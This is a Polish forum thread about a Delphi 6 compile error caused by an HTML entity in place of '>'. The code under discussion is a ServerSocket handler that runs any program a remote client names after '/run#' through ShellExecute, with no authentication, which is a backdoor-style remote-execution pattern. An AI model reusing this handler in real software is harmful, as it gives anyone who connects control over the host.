Problem z kodem źródłowym...

0

Kompilator wyświetla mi taki błąd w tym kodzie (miejsce błędu wskazane przez kompilator podkreślę):

"Illegal character in input file: '&' ($26)"

procedure TForm2.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
S: string;

begin
S := ServerSocket1.Socket.ReceiveText;
if Pos('/run#',S)&gt0 then

begin
Delete(S,Pos('/run#',S),5);
ShellExecute(Handle,'open',(PChar(S)),nil,nil,SW_SHOWNORMAL);
end;
end;

Nie wiem, jak mam to poprawić, aby działało...pomóżcie :)--Pozdrawiam

Pracuję w Delphi 6

0

Hm.. juz mowilem ci ze mnie ten kod dziala...
Jezeli masz delphi 6 to wszystko powinno byc OK.
Ten kod nie jest idealny (pisalem go dosc szybko)
i na pewno jest jakies inne rozwiazanie ale mnie ono do glowy nie przychodzi.
A dla wyjasnienia ten kod sprawdza czy w zmiennej (S) jest slowo /run# i jesli tak to wykonuje dalsza czesc kodu...
Latwiejszym tego przykladam moze byc to :
if Pos('OK',Edit1.Text)&gt0 then ShowMessage('znaleziono OK');
Niewiem czemu ci to nie dziala ale jak juz pisalem w mailu , skontakujmy sie na GG
i pomyslimy , ewentualnie moge ci podeslac zrodelko ktore mi dziala...
--Ozyrys Pozdrawiam {hello}
Delphi 6

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0